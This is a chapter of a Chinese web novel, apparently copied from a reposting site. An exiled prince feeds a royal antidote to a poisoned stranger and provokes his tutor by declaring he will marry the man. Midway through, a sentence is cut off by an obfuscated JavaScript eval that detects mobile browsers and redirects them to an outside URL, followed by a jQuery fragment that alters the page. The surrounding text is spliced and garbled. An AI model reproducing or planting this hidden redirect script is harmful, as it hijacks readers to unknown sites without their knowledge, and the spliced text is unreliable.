7. 皇室秘辛

作品:《亡国后捡到了当朝太上皇

    应青炀当然不知道外面已经乱成了一锅粥。


    他坐在床榻边上,双手无意识交握在一起,眼睛盯着男人泛着青紫的唇,他不知道那颗解毒丹是否真的能奏效。


    大应皇室的秘宝,每位宗室子弟能得到一小瓶,传闻中能解百毒,是前朝不知道哪一年一个云游方士进献的药方。


    应青炀没用过这东西,也没什么机会用,这会儿更没觉得可惜。


    他脑子里还下意识回想看到男人的第一眼。


    便忍不住开始思考这人究竟怎么会在冬日里,以这样一种模样坠落悬崖。


    他天生脑子活泛,大概也是因为身体疲惫到了极点,这回儿天马行空的怪异思想在脑子里乱飞,上蹿下跳,东一个想法西一个想法。


    就如同一开始的猜测的那样,要么被人所害,要么自己求死。


    可是什么样的仇家能做到这种程度?又是下毒又是逼他穿着单薄走进风雪中。


    然而就算应青炀再没见识,男人身上那件里衣的质感也不像是沦亡之人能穿的。


    那便是他自己求死。


    但应青炀想不明白。


    他即便在最底层、最无人问津的地方,再艰难,也要畅快地活。


    所以他不懂。


    好奇心一旦在心底滋生,便像野草一样飞速蔓延生长,以至于应青炀无意识地将自己疑问说出了口,“他什么时候能醒?”


    他实在太好奇对方的经历,想亲耳听到对方诉说的声音。


    想问问他究竟是谁,想听听他从哪里来,想知道琼州之外是何光景,想见见这个他重活一世还没来得及好好品味过的时代。


    “就算服了解毒丹,起码也得个几天吧?”孙大夫拿了个小马扎坐在架起的炉灶边。


    北境这边一到冬日便是彻骨严寒,灶台一般都架在屋子里,和内室只隔了一道墙,烧起来之后能顺便暖了屋子。


    孙大夫正守着自己的药罐子煎药,添柴火的动作却有些磨磨蹭蹭。


    他心说没有解毒丹,这人连半个时辰都不知道能不能撑过去,别到时候浪费了他的药材,那可都是前一年辛辛苦苦采的,他半点都不舍得糟践。


    应青炀背后没长眼睛,自然不知道身后的孙大夫在摸鱼。


    孙大夫虽然方才同意了,但他委实不太相信姜允之会由着小殿下乱来。


    他老神在在地摸了摸胡子,心说不出一刻钟,姜允之肯定要就要冲进来把小殿下数落一通。


    没想到半天过去了,他煎好的药都进了哪位未来皇子妃的嘴里,而且喝一半吐一半,给孙大夫心疼坏了。


    就这,姜太傅还连个影都没见到,让他连个说理的地方都没有。


    人呢?


    *


    荒山下的这个小村落说大也大,大到能容下他们这么多前朝流落至此的孤魂野鬼。


    说小也小,小到应青炀捡了个什么东西回来的事,根本连半个时辰都瞒不过,就传到了主管荒山“大权”的姜太傅耳朵里。


    只不过话刚传到他这里时,说的是:“殿下不知道又从山里捡了个什么东西回来,比当初把那瘸腿马带回来的时候还要紧张呢。”


    姜云之整日奔波劳累,又知道应青炀有这个捡东西的毛病,就没准备搭理,自己躺在榻上小憩一会儿。


    没想到等他一觉醒来,消息已经迅速变成了:“殿下捡回来个人,并且一见钟情准备纳对方为妃。”


    姜允之:“?”


    刚从同僚嘴里听到这个消息时,姜太傅以为自己还没睡醒。


    他推开门准备看看自己是不是在做梦,就被冷风糊了一脸,顿时打了个机灵。


    姜太傅缩回房里,一边穿袄子嘴里就一边蹦出了一连串的,“胡闹!成何体统!这小子一天不闹点事就皮痒!”


    “你们好好同我说说,到底是怎么回事!”


    此刻聚集在姜太傅屋子里的,是仅剩的几位前朝旧臣,也算是荒山的主心骨了。


    季成风,陈雷,大应皇室御前侍卫,逃出国都时,护着一行人的主力军,时年四十二岁。因是武人,身强体壮,一直是村里的重要劳动力。


    沈怀远,原礼部尚书,七十八岁高龄,是荒山的大长辈,如今耳背得厉害,脑子也不大清醒了,但好在身体还算硬朗。


    沈朗,沈老爷子的亲孙,三十九岁,世家出身,科举入世,就任于工部,大应灭国前一年的探花郎,如今早已将诗文策论忘在脑后,是自学成才的裁缝,负责全村人的衣物裁剪。


    季成风学过点木匠手艺,给沈怀远做了个轮椅,沈朗每日推着老爷子出来晒太阳。


    其余人,皆是当年的随行宫人、各家的奴仆,知根知底,这些年虽然一同生活,但到底没那么亲厚。


    一路奔逃,加之落脚的地界堪称山穷水尽,死去的人太多太多。


    后来为了避免横生枝节,他们也甚少和外界人接触,也无亲眷,说是快要孤独终老也差不离。


    冬日里他们一般不出门,谁让这次的事情闹得太大,一听到消息就往主屋赶去。


    但应青炀让阿墨守在门前,谁都不让进,一个个的只能转头聚到姜允之这里来,硬生生把小憩休息的姜允之叫醒了。


    于是变成了现下这幅样子。


    季成风挠挠头,“殿下那网子居然真能有用,我一直觉得就是瞎胡闹,也是命大,这都能活下来。”


    沈朗倒是不在意这些,只觉得殿下愿意成家立业是好事,“原本觉得殿下一直不娶妻是怕扎我们这些老光棍的心,没想到是没遇上看对眼的。只是纳妃是不是有些过了?如此草率,怕是于大计无益啊。”


    沈怀远没什么反应,大概是根本没搞清楚怎么回事,老爷子低垂着头靠在椅背上昏昏欲睡。


    陈雷没什么心眼,憨厚笑笑,道:“殿下就是喜欢长得漂亮的,我刚刚问过阿墨,据说是个顶好看的大美人。”


    “你们不记得了?殿下小时候第一次出荒山,在镇上看到个美人画像,非要买下来,太傅不让,殿下回来头一次闹了脾气。”


    “有这事?你记性倒好。”姜允之穿好袄子,有点阴阳怪气地怼了一句。


    他都快人老成精了,哪能看不出来面前这几位是在给应青炀说好话呢。


    应青炀从小就嘴甜,他们这些人不成家也少与外界接触,把小殿下从小拉扯到大,早就待他比亲生的还亲。


    也就姜允之没被这小子迷惑住,还能狠下心来管教,甚至偶尔还动点棍棒教育。


    应青炀这次做的事委实不太妥当,不管是因为什么原因,带个陌生人回来终究是个隐患。


    沈朗轻叹一口气,“太傅,这些年我们活得谨慎,在外界人眼中,你我已经是被放了牌位的死人,大应五皇子更是已死在国都的那场大火中……”


    一个毁灭的王朝,一些微不足道的小人物,其实很快便会被人们遗忘在记忆深处。


    实际上几年前想让应青炀娶亲时,他们就做好了融入人海的打算。


    只是应青炀自己拒绝了。


    “待我去看了再说!”姜允之愣是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960294|161039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有松口,脸色沉沉,整理好衣服,大踏步出了屋子。


    其余三人面面相觑,片刻也只得跟上。


    姜允之只是本能的觉得不太对劲。


    什么一见钟情想要纳妃,听起来像是应青炀闯了什么大祸,随口扯出来遮掩的借口。


    姜允之倒要去探个究竟。


    一想到应青炀对那瘸腿马百般呵护的样子,姜云之就气得牙齿打颤,和见到自家小辈做些纨绔子弟行径一样恼怒。


    他双眼喷火的样子显然连在当门神的姜墨也没法招架,被姜太傅盯了两眼就不自觉退了两步。


    姜允之推门而入,向屋内扫视一眼,便先看到坐在榻边的应青炀,正低着头向床上那人额头凑去。


    他怒目圆睁,暴喝一声:“臭小子!!做什么无礼之事呢!!趁人之危岂是君子所为!!”


    这惊天动地的一句把应青炀吓了一跳,他一脸茫然地回头。


    跟在姜允之身后的几人也没搞清楚状况,以为要起冲突,纷纷上来阻拦。


    “太傅!太傅!殿下想娶就让他娶吧!”


    “反正早晚要睡一张床榻的人,随他去吧!”


    “多做几身衣服的事!太傅别动怒!”


    听听,听听,这偏架拉的,姜允之双拳难敌四手,站在原地不得寸进。


    应青炀这才发觉,自己的动作在外人看来有些歧义。


    他抬起双手,满面无辜,“天地良心,我就是想看看他是不是发高热了,手太凉,感觉不出来。况且孙大夫还在呢,哪会有什么事。”


    额头贴额头就准多了。


    要怪就怪他生了一双含情眼,侧面看起来倒真像是含情脉脉准备轻薄他人一般。


    姜允之也是气糊涂了,听了这话才发现角落里还有个人。


    一边的孙大夫正在翻自己的药箱,一边百思不得其解地喃喃:“不对啊,就算这人再命硬,没有解毒丹,这会儿早该一命呜呼了,怎么还活着呢?难不成我这箱子里有什么不得了的药材……?”


    嗯?中毒?解毒丹?


    电光火石之间,姜允之便想明白这小子为什么突然嚷嚷着一见钟情要娶亲纳妃,感情是在这里等着他呢。


    原本平复下来的火气“刷”地又起来了,“好你个臭小子,你把解毒丹给这来历不明的人吃了!?”


    边上的季成风和陈雷一边拦一边小声蛐蛐,“那玩意儿真有用吗?”


    “皇室秘辛,我哪里知道?”


    应青炀想过自家太傅会数落他,但委实没想过对方反应会这么大。


    太傅从前也没那么宝贝过那东西,今天怎么这般失控。


    应青炀脖子一梗,站起身,豁出去了。


    “您说什么也没用了!解毒丹我已喂他服下,我这辈子就是非他不娶了!”


    随着他的动作,原本被他挡在身后的榻上人,露出半张苍白的脸来。


    当真俊美无俦,姜允之怔愣一瞬,随即声音大得像是要把屋顶给掀了,“你放屁!!你就是不长脑子不够谨慎,被人抓去卖了还要帮人数铜板!你告诉我,你还能娶个男人???”


    “男人”二字,振聋发聩,主屋的空气顿时凝固了。


    应青炀立刻还嘴: “对!当年什么一生一世一双人当初都是骗你们的!!本殿下就是喜欢男人,就是有断袖之癖!太傅说什么都晚了!”


    “这是天生的,改不了的!”


    包括孙大夫在内的所有人:“???”


    不是,等等,什么东西???